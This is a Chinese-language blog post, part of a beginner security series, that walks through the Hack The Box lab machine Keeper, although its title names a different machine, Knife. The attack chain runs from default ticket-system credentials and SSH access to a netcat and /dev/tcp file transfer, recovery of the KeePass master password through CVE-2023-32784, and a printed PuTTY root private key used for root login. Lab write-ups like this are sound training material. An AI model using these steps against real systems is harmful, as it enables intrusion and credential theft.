iT邦幫忙

2024 iThome 鐵人賽

DAY 30
0
自我挑戰組

從零開始:資安滲透初探系列 第 30

26: 資安滲透初探: HTB靶機入門:Knife (Linux)

  • 分享至 

  • xImage
  •  

今天是第30天了!! 終於要結束了!
題外話,
因為學了一點PT,手上也有幾張證照就跑去投履歷,
結果前幾天面試,面試官直接跟我說"你目前的程度跟不上公司喔!我們目前只招即戰力..."
啊...就被打槍了 哀...雖然本來就知道自己是菜雞...
果然學海無涯啊! 就算完成了30天的鐵人賽還是要繼續努力!


https://app.hackthebox.com/machines/Keeper
關於 Keeper
Keeper 是一台難度較低的 Linux 伺服器,其特點是使用預設憑證的支援票務系統。通過枚舉服務,我們可以查看明文憑證,這些憑證可引導到 SSH 訪問。有了 SSH 訪問權限,我們可以訪問 KeePass 資料庫轉儲檔案,利用它來檢索主密碼。有了 KeePass 資料庫的訪問權限,我們就可以訪問根 SSH 密鑰,這些密鑰用於在主機上獲得特權 shell。

Task 1: How many open TCP ports are listening on Keeper?

```bash
┌──(kali㉿kali)-[~]
└─$ nmap -Pn -sV 10.10.11.227         
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-25 08:42 EDT
Nmap scan report for 10.10.11.227
Host is up (0.60s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 72.02 seconds
```

Task 2: What is the default password for the default user on Request Tracker (RT)?

ChatGPT
要找到 Request Tracker (RT) 的默認用戶密碼,你可以按照以下步驟操作。

### 步驟 1: 確認 Request Tracker (RT) 默認用戶

- 根據常見的配置,Request Tracker (RT) 的默認用戶通常是 `root`。

### 步驟 2: 搜索默認密碼

- 根據 `Keeper.pdf` 文件中的描述,默認用戶 `root` 的默認密碼已經提到。文檔中提到可以通過 Google 搜索找到這個信息。

### 步驟 3: 文件中的相關信息

- 在 `Keeper.pdf` 文件中提到:
    - **默認用戶名**:`root`
    - **默認密碼**:`password`

### 最終答案

- Request Tracker (RT) 的默認用戶 `root` 的默認密碼是:
    
    ```
    password
    
    ```
    
補充知識:
Request Tracker (RT) 是一個開源的工單系統和任務管理系統,主要用於管理和跟踪問題、工單、支持請求等工作流程。這個系統通常被用於支持服務、IT 部門、項目管理和其他需要跟踪問題或任務的環境。

### Request Tracker (RT) 的主要特點包括:

1. **工單管理**:
    - RT 允許用戶提交工單(tickets),這些工單可以是支持請求、問題報告、任務分配等。
    - 工單可以被分配給不同的用戶或團隊進行處理,並且可以記錄所有的更新、狀態變更和解決方案。
2. **自動化工作流程**:
    - RT 提供了豐富的自動化功能,包括基於條件的自動分配、通知系統和自定義的工作流程,這些功能可以幫助團隊有效地管理和解決問題。
3. **多用戶和多隊伍支持**:
    - RT 支持多用戶和多隊伍協作,允許不同的用戶和團隊在同一平台上協同工作,並且可以設置不同的訪問權限和角色。
4. **自定義和擴展性**:
    - RT 是高度可配置的,允許用戶自定義界面、字段、模板和報告。用戶還可以通過插件擴展 RT 的功能。
5. **開源和社群支持**:
    - RT 是一個開源項目,由 Best Practical Solutions 開發和維護。它擁有一個活躍的社群,提供豐富的資源和支持。

### 使用場景:

- **技術支持服務台**:企業的 IT 支持部門通常使用 RT 來管理支持請求和故障單,跟踪問題的解決過程。
- **客戶服務**:RT 可以用來處理和跟踪客戶的詢問和服務請求。
- **項目管理**:RT 可以幫助團隊管理和跟踪項目任務、問題和進度。

### 總結:

Request Tracker (RT) 是一個強大的工單管理系統,幫助組織高效地管理和解決問題和任務。它的靈活性和擴展性使其成為許多行業中流行的解決方案。

如果你有其他問題或需要進一步的幫助,隨時告訴我!

Task 3: Besides root, what other user is in RT?

Task 4: What is the lnorgaard user's password on Keeper?

image.png

Task 5: Submit the flag located in the lnorgaard user's home directory.

```bash
┌──(kali㉿kali)-[~]
└─$ ssh lnorgaard@10.10.11.227
The authenticity of host '10.10.11.227 (10.10.11.227)' can't be established.
ED25519 key fingerprint is SHA256:hczMXffNW5M3qOppqsTCzstpLKxrvdBjFYoJXJGpr7w.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.227' (ED25519) to the list of known hosts.
lnorgaard@10.10.11.227's password: 
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
You have mail.
Last login: Tue Aug  8 11:31:22 2023 from 10.10.14.23
lnorgaard@keeper:~$ pwd
/home/lnorgaard
lnorgaard@keeper:~$ ls
RT30000.zip  user.txt
lnorgaard@keeper:~$ cat user.txt 
3b1a1f017942de63b176d6abb433bc8b
```

Task 6: What is the 2023 CVE ID for a vulnerability in KeePass that allows an attacker access to the database's master password from a memory dump?

ChatGPT
要找到這個題目的答案,可以按照以下步驟進行:

### 1. 查找相關信息

- 根據 `Keeper.pdf` 文件中的描述,這個漏洞與 KeePass 的主密碼被存儲在內存中有關。文件中提到了一個 2023 年的 CVE,並提供了一些相關的線索。

### 2. 使用 CVE 資料庫查找

- 你可以通過訪問官方的 CVE 資料庫網站 [CVE Details](https://www.cvedetails.com/) 或者 [National Vulnerability Database (NVD)](https://nvd.nist.gov/) 來搜索 2023 年與 KeePass 相關的漏洞。
- 在搜尋框中,輸入 "KeePass 2023 memory dump" 或類似的關鍵字,尋找相關的 CVE。

### 3. Google 搜索

- 你也可以通過 Google 進行搜索。例如,輸入以下關鍵詞進行搜索:
    
    ```
    KeePass 2023 CVE master password memory dump
    
    ```
    
- 這樣可以幫助你快速定位與 KeePass 有關的漏洞信息。

### 4. 使用文檔中的線索

- 如果你回顧 `Keeper.pdf` 文件中的信息,可以注意到文檔中提到了一個 CVE 編號,即 `CVE-2023-32784`。這就是你要找的 2023 年 KeePass 漏洞。

### 答案:

- **CVE-2023-32784** 是針對 KeePass 的漏洞,允許攻擊者從內存轉儲中訪問數據庫的主密碼。

### 總結:

- 你可以通過查找官方的 CVE 資料庫或使用 Google 搜索來找到答案,文件中也已經提供了相關的 CVE 編號 `CVE-2023-32784`。

Task 7: What is the master password for passcodes.kdbx?

ChatGPT
要找到 `passcodes.kdbx` 的主密碼,你需要按照以下步驟操作。

### 1. 獲取 KeePass 文件

- 首先,你需要登錄到 `lnorgaard` 用戶的帳戶,並且找到包含 `passcodes.kdbx` 文件的壓縮包(例如 `RT30000.zip`)。
- 使用 `SSH` 登錄到靶機:
    
    ```bash
    ssh lnorgaard@10.10.11.227
    
    ```
    
- 解壓縮 `RT30000.zip` 文件:
這樣你就可以獲取到 `passcodes.kdbx` 和 `KeePassDumpFull.dmp` 文件。
    
    ```bash
    unzip /home/lnorgaard/RT30000.zip
    
    ```
    

### 2. 分析內存轉儲文件

**※※※不要用write-up的寫法(根本行不通)**

- 下載RT30000.zip到本機
    - 開啟2個terminal
        - 第一個
            
            ```bash
            ┌──(kali㉿kali)-[~]
            └─$ nc -lvnp 9001 > RT30000.zip       
            listening on [any] 9001 ...
            connect to [10.10.16.2] from (UNKNOWN) [10.10.11.227] 58070
            ```
            
        - 第二個
            
            ```bash
            lnorgaard@keeper:~$ cat RT30000.zip > /dev/tcp/10.10.16.2/9001
            ```
            

### 3. 使用內存轉儲漏洞進行攻擊

- 根據文檔的提示,這裡涉及到一個 2023 年的 CVE 漏洞 (`CVE-2023-32784`),該漏洞允許通過內存轉儲來檢索 KeePass 的主密碼。
- 你需要在本地機器上安裝 `dotnet` 並克隆用於攻擊的工具:
這個工具會掃描內存轉儲文件並生成可能的主密碼。
    - 要先安裝`.NET 7.0`
        
        這個錯誤表明你當前的 `.NET SDK` 版本不支持目標 `.NET 7.0`,而你試圖運行的項目是針對 `.NET 7.0` 的。要解決這個問題,你有兩個選擇:
        
        ### 選項 1:安裝支持 `.NET 7.0` 的 SDK
        
        - 你可以安裝 `.NET 7.0` 的 SDK,以便能夠編譯和運行針對 `.NET 7.0` 的項目。
        
        ### 安裝 .NET 7.0 SDK
        
        1. **添加 Microsoft 的包存儲庫**:
            
            ```bash
            wget <https://packages.microsoft.com/config/debian/11/packages-microsoft-prod.deb> -O packages-microsoft-prod.deb
            sudo dpkg -i packages-microsoft-prod.deb
            
            ```
            
        2. **更新包列表**:
            
            ```bash
            sudo apt-get update
            
            ```
            
        3. **安裝 .NET 7.0 SDK**:
            
            ```bash
            sudo apt-get install dotnet-sdk-7.0
            
            ```
            
        4. **驗證安裝**:
            
            ```bash
            dotnet --version
            
            ```
            
        5. **再次運行項目**:
            
            ```bash
            dotnet run /home/kali/KeePassDumpFull.dmp
            
            ```
            
        
        ### 選項 2:將項目目標更改為 .NET 6.0
        
        - 如果你無法安裝 `.NET 7.0`,你可以嘗試將項目目標更改為 `.NET 6.0`。
        
        ### 修改目標框架
        
        1. **打開項目文件**:
            - 打開 `keepass_password_dumper.csproj` 文件,並查找以下行:
                
                ```xml
                <TargetFramework>net7.0</TargetFramework>
                
                ```
                
        2. **更改為 .NET 6.0**:
            - 將目標框架更改為 `.NET 6.0`:
                
                ```xml
                <TargetFramework>net6.0</TargetFramework>
                
                ```
                
        3. **保存並重新運行**:
            - 保存更改後,再次運行命令:
                
                ```bash
                dotnet run /home/kali/KeePassDumpFull.dmp
                
                ```
                
        
        ### 總結
        
        - **選項 1**:安裝 .NET 7.0 SDK 來運行項目。
        - **選項 2**:將項目目標框架降級到 .NET 6.0,以便使用當前的 SDK 編譯和運行。
        
        如果你在安裝或編譯過程中遇到其他問題,隨時告訴我!
        

```bash
git clone <https://github.com/vdohney/keepass-password-dumper.git>
cd keepass-password-dumper
dotnet run /path/to/KeePassDumpFull.dmp

```

### 4. 嘗試進入 KeePass 數據庫

- 獲得可能的主密碼後,使用 `kpcli` 或其他 KeePass 工具來打開 `passcodes.kdbx` 文件。
- 首先安裝 `kpcli`:
    
    ```bash
    sudo apt-get install kpcli -y
    
    ```
    
- 使用 `kpcli` 打開數據庫:
當你輸入剛才工具生成的主密碼時,你應該能夠成功打開這個數據庫。
    
    ```bash
    kpcli
    open /path/to/passcodes.kdbx
    
    ```
    

### 5. 嘗試不同的變體

- 如果工具生成的主密碼不能直接使用,請嘗試不同的變體。例如,文檔中提到的 “dgrød med fløde” 可能實際上是 “rødgrød med fløde”。

### 6. 提交主密碼

- 獲得正確的主密碼後,這就是你需要提交的答案。

Task 8: What is the first line of the "Notes" section for the entry in the database containing a private SSH key?

- 進入kpcli
- cd Network
- show 0 -f

```bash
PuTTY-User-Key-File-3: ssh-rsa
```

Task 9: Submit the flag located in the root user's home directory.

- 複製這一串
    
    ```bash
    PuTTY-User-Key-File-3: ssh-rsa
           Encryption: none
           Comment: rsa-key-20230519
           Public-Lines: 6
           AAAAB3NzaC1yc2EAAAADAQABAAABAQCnVqse/hMswGBRQsPsC/EwyxJvc8Wpul/D
           8riCZV30ZbfEF09z0PNUn4DisesKB4x1KtqH0l8vPtRRiEzsBbn+mCpBLHBQ+81T
           EHTc3ChyRYxk899PKSSqKDxUTZeFJ4FBAXqIxoJdpLHIMvh7ZyJNAy34lfcFC+LM
           Cj/c6tQa2IaFfqcVJ+2bnR6UrUVRB4thmJca29JAq2p9BkdDGsiH8F8eanIBA1Tu
           FVbUt2CenSUPDUAw7wIL56qC28w6q/qhm2LGOxXup6+LOjxGNNtA2zJ38P1FTfZQ
           LxFVTWUKT8u8junnLk0kfnM4+bJ8g7MXLqbrtsgr5ywF6Ccxs0Et
           Private-Lines: 14
           AAABAQCB0dgBvETt8/UFNdG/X2hnXTPZKSzQxxkicDw6VR+1ye/t/dOS2yjbnr6j
           oDni1wZdo7hTpJ5ZjdmzwxVCChNIc45cb3hXK3IYHe07psTuGgyYCSZWSGn8ZCih
           kmyZTZOV9eq1D6P1uB6AXSKuwc03h97zOoyf6p+xgcYXwkp44/otK4ScF2hEputY
           f7n24kvL0WlBQThsiLkKcz3/Cz7BdCkn+Lvf8iyA6VF0p14cFTM9Lsd7t/plLJzT
           VkCew1DZuYnYOGQxHYW6WQ4V6rCwpsMSMLD450XJ4zfGLN8aw5KO1/TccbTgWivz
           UXjcCAviPpmSXB19UG8JlTpgORyhAAAAgQD2kfhSA+/ASrc04ZIVagCge1Qq8iWs
           OxG8eoCMW8DhhbvL6YKAfEvj3xeahXexlVwUOcDXO7Ti0QSV2sUw7E71cvl/ExGz
           in6qyp3R4yAaV7PiMtLTgBkqs4AA3rcJZpJb01AZB8TBK91QIZGOswi3/uYrIZ1r
           SsGN1FbK/meH9QAAAIEArbz8aWansqPtE+6Ye8Nq3G2R1PYhp5yXpxiE89L87NIV
           09ygQ7Aec+C24TOykiwyPaOBlmMe+Nyaxss/gc7o9TnHNPFJ5iRyiXagT4E2WEEa
           xHhv1PDdSrE8tB9V8ox1kxBrxAvYIZgceHRFrwPrF823PeNWLC2BNwEId0G76VkA
           AACAVWJoksugJOovtA27Bamd7NRPvIa4dsMaQeXckVh19/TF8oZMDuJoiGyq6faD
           AF9Z7Oehlo1Qt7oqGr8cVLbOT8aLqqbcax9nSKE67n7I5zrfoGynLzYkd3cETnGy
           NNkjMjrocfmxfkvuJ7smEFMg7ZywW7CBWKGozgz67tKz9Is=
           Private-MAC: b0a0fd2edf4f0e557200121aa673732c9e76750739db05adc3ab65ec34c55cb0
    ```
    
- 開一個新的文件取名為root.ppk將上面的內容貼近去,但是開頭的空格要全部剃除
- `sudo apt install putty-tools`
- `puttygen root.ppk -O private-openssh -o id_dsa`
- `chmod 600 id_dsa`
    
    ```bash
    ┌──(kali㉿kali)-[~]
    └─$ ssh -i id_dsa root@10.10.11.227 
    Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)
    
     * Documentation:  https://help.ubuntu.com
     * Management:     https://landscape.canonical.com
     * Support:        https://ubuntu.com/advantage
    Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
    
    You have new mail.
    Last login: Tue Aug  8 19:00:06 2023 from 10.10.14.41
    root@keeper:~# ls
    root.txt  RT30000.zip  SQL
    root@keeper:~# cat root.txt 
    ef8f9c46433affaf0df26cab9f853e7a
    ```

上一篇
25: 資安滲透初探: HTB靶機入門: Legacy (windows)
系列文
從零開始:資安滲透初探30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言